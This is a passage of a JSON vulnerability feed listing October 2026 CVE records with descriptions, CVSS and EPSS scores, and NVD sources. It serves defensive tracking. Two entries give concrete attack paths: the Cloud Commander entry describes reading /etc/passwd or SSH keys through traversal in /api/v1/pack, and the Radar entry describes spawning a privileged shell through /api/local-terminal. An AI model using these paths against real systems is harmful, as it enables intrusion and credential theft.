fixes.","publishedAt":"2026-10-14T14:17:51.120Z","updatedAt":"2026-10-24T14:16:40.677Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98401","asOf":"2026-10-24T14:16:40.677Z"},"epss":{"probability":0.00595,"percentile":0.48156,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98401&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98401","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98401","type":"primary","publishedAt":"2026-10-14T14:17:51.120Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98401&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98401, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110690","cveId":"CVE-2026-110690","aliases":[],"kind":"vulnerability","title":"Cloud Commander (cloudcmd) versions 19.20.2 through 19.21.1 contains a path traversal vulnerability in the GET /api/v1/pack endpoint where the onGET handler at...","summary":"Cloud Commander (cloudcmd) versions 19.20.2 through 19.21.1 contains a path traversal vulnerability in the GET /api/v1/pack endpoint where the onGET handler at server/rest/index.js:130 calls the unguarded root() function instead of the root.resolve() validation wrapper used elsewhere. Attackers can send percent-encoded directory traversal sequences in the pack request path to read arbitrary files outside the configured --root directory, such as /etc/passwd or SSH private keys, which are archived and streamed back as a downloadable tar.gz file.","detail":"Cloud Commander (cloudcmd) versions 19.20.2 through 19.21.1 contains a path traversal vulnerability in the GET /api/v1/pack endpoint where the onGET handler at server/rest/index.js:130 calls the unguarded root() function instead of the root.resolve() validation wrapper used elsewhere. Attackers can send percent-encoded directory traversal sequences in the pack request path to read arbitrary files outside the configured --root directory, such as /etc/passwd or SSH private keys, which are archived and streamed back as a downloadable tar.gz file.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T14:17:44.140Z","updatedAt":"2026-10-26T18:17:35.297Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110690","asOf":"2026-10-26T18:17:35.297Z"},"epss":{"probability":0.00897,"percentile":0.59325,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110690&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110690","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110690","type":"primary","publishedAt":"2026-10-14T14:17:44.140Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110690&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110690, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107870","cveId":"CVE-2026-107870","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetEngine jet-engine allows DOM-Based XSS.This issue affects...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetEngine jet-engine allows DOM-Based XSS.This issue affects JetEngine: from n/a through 3.8.16.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetEngine jet-engine allows DOM-Based XSS.This issue affects JetEngine: from n/a through 3.8.16.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T14:17:33.527Z","updatedAt":"2026-10-15T17:17:13.617Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107870","asOf":"2026-10-15T17:17:13.617Z"},"epss":{"probability":0.00244,"percentile":0.15442,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107870&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107870","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107870","type":"primary","publishedAt":"2026-10-14T14:17:33.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107870&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107870, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97278","cveId":"CVE-2026-97278","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in WP SYNTEX Polylang polylang allows Object Injection.This issue affects Polylang: from n/a through 3.8.9.","summary":"Deserialization of Untrusted Data vulnerability in WP SYNTEX Polylang polylang allows Object Injection.This issue affects Polylang: from n/a through 3.8.9.","detail":"Deserialization of Untrusted Data vulnerability in WP SYNTEX Polylang polylang allows Object Injection.This issue affects Polylang: from n/a through 3.8.9.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T13:17:28.707Z","updatedAt":"2026-10-14T14:26:59.367Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97278","asOf":"2026-10-14T14:26:59.367Z"},"epss":{"probability":0.00425,"percentile":0.36465,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97278&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97278","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97278","type":"primary","publishedAt":"2026-10-14T13:17:28.707Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97278&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97278, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-82026","cveId":"CVE-2026-82026","aliases":[],"kind":"vulnerability","title":"Radar before 1.12.2 contains a missing authorization vulnerability in the handleLocalTerminal WebSocket endpoint (/api/local-terminal) that allows authenticated or unauthenticated...","summary":"Radar before 1.12.2 contains a missing authorization vulnerability in the handleLocalTerminal WebSocket endpoint (/api/local-terminal) that allows authenticated or unauthenticated attackers to spawn a privileged shell by relying only on a runtime-mode check instead of role-based access control. Attackers can connect to the endpoint to execute /bin/bash -l on the Radar host with Radar's own kubeconfig and process credentials injected into the shell environment, achieving remote code execution with Radar's privileges even when the --disable-local-terminal flag is set.","detail":"Radar before 1.12.2 contains a missing authorization vulnerability in the handleLocalTerminal WebSocket endpoint (/api/local-terminal) that allows authenticated or unauthenticated attackers to spawn a privileged shell by relying only on a runtime-mode check instead of role-based access control. Attackers can connect to the endpoint to execute /bin/bash -l on the Radar host with Radar's own kubeconfig and process credentials injected into the shell environment, achieving remote code execution with Radar's privileges even when the --disable-local-terminal flag is set.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T13:17:28.557Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82026","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00924,"percentile":0.6017,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-82026&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-82026","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82026","type":"primary","publishedAt":"2026-10-14T13:17:28.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-82026&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-82026, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107867","cveId":"CVE-2026-107867","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetProductTables jet-product-tables allows Reflected XSS.This...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetProductTables jet-product-tables allows Reflected XSS.This issue affects JetProductTables: from n/a through 1.2.4.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetProductTables jet-product-tables allows Reflected XSS.This issue affects JetProductTables: from n/a through 1.2.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T13:17:24.290Z","updatedAt":"2026-10-15T17:17:13.493Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107867","asOf":"2026-10-15T17:17:13.493Z"},"epss":{"probability":0.00204,"percentile":0.10245,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107867&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107867","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107867","type":"primary","publishedAt":"2026-10-14T13:17:24.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107867&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107867, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107426","cveId":"CVE-2026-107426","aliases":[],"kind":"vulnerability","title":"Missing Authorization vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows Exploiting Incorrectly Configured Access Control Security Levels.This...","summary":"Missing Authorization vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Paid Videochat Turnkey Site: from n/a through 7.5.12.","detail":"Missing Authorization vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Paid Videochat Turnkey Site: from n/a through 7.5.12.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T13:17:23.773Z","updatedAt":"2026-10-14T18:17:25.787Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107426","asOf":"2026-10-14T18:17:25.787Z"},"epss":{"probability":0.00258,"percentile":0.17278,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107426&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107426","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107426","type":"primary","publishedAt":"2026-10-14T13:17:23.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107426&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107426, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107421","cveId":"CVE-2026-107421","aliases":[],"kind":"vulnerability","title":"Session Fixation vulnerability in VideoWhisper.com Broadcast Live Video videowhisper-live-streaming-integration allows Session Hijacking.This issue affects Broadcast Live Video:...","summary":"Session Fixation vulnerability in VideoWhisper.com Broadcast Live Video videowhisper-live-streaming-integration allows Session Hijacking.This issue affects Broadcast Live Video: from n/a through 7.3.2.","detail":"Session Fixation vulnerability in VideoWhisper.com Broadcast Live Video videowhisper-live-streaming-integration allows Session Hijacking.This issue affects Broadcast Live Video: from n/a through 7.3.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T13:17:23.183Z","updatedAt":"2026-10-15T17:17:12.830Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107421","asOf":"2026-10-15T17:17:12.830Z"},"epss":{"probability":0.00244,"percentile":0.15441,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107421&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107421","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107421","type":"primary","publishedAt":"2026-10-14T13:17:23.183Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107421&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107421, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106599","cveId":"CVE-2026-106599","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in Brainstorm Force SureCart surecart allows Object Injection.This issue affects SureCart: from n/a through 4.9.3.","summary":"Deserialization of Untrusted Data vulnerability in Brainstorm Force SureCart surecart allows Object Injection.This issue affects SureCart: from n/a through 4.9.3.","detail":"Deserialization of Untrusted Data vulnerability in Brainstorm Force SureCart surecart allows Object Injection.This issue affects SureCart: from n/a through 4.9.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T13:17:22.503Z","updatedAt":"2026-10-14T18:17:25.223Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106599","asOf":"2026-10-14T18:17:25.223Z"},"epss":{"probability":0.00408,"percentile":0.34749,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106599&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106599","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106599","type":"primary","publishedAt":"2026-10-14T13:17:22.503Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106599&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106599, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105874","cveId":"CVE-2026-105874","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force SureCart surecart allows Reflected XSS.This issue affects...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force SureCart surecart allows Reflected XSS.This issue affects SureCart: from n/a through 4.9.3.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force SureCart surecart allows Reflected XSS.This issue affects SureCart: from n/a through 4.9.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T13:17:22.043Z","updatedAt":"2026-10-15T17:17:12.403Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105874","asOf":"2026-10-15T17:17:12.403Z"},"epss":{"probability":0.00198,"percentile":0.09494,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105874&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105874","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105874","type":"primary","publishedAt":"2026-10-14T13:17:22.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105874&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105874, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85298","cveId":"CVE-2026-85298","aliases":[],"kind":"vulnerability","title":"An Incorrect Authorization vulnerability in the AuthConfig validation and integration execution runtime in Google Cloud Application Integration versions prior to 2026-08-27 allows...","summary":"An Incorrect Authorization vulnerability in the AuthConfig validation and integration execution runtime in Google Cloud Application Integration versions prior to 2026-08-27 allows an authenticated user to escalate privileges and impersonate a service account in the project.\n\n\nThis vulnerability was patched on 27 August 2026, and no customer action is needed.","detail":"An Incorrect Authorization vulnerability in the AuthConfig validation and integration execution runtime in Google Cloud Application Integration versions prior to 2026-08-27 allows an authenticated user to escalate privileges and impersonate a service account in the project.\n\n\nThis vulnerability was patched on 27 August 2026, and no customer action is needed.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T12:17:18.320Z","updatedAt":"2026-10-16T20:02:37.630Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Clear","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85298","asOf":"2026-10-16T20:02:37.630Z"},"epss":{"probability":0.00361,"percentile":0.29625,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85298&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85298","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85298","type":"primary","publishedAt":"2026-10-14T12:17:18.320Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85298&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85298, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76655","cveId":"CVE-2026-76655","aliases":[],"kind":"vulnerability","title":"A security vulnerability in HPE NonStop SNMP Trap Multiplexer may allow remote code execution","summary":"A security vulnerability in HPE NonStop SNMP Trap Multiplexer may allow remote code execution","detail":"A security vulnerability in HPE NonStop SNMP Trap Multiplexer may allow remote code execution\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 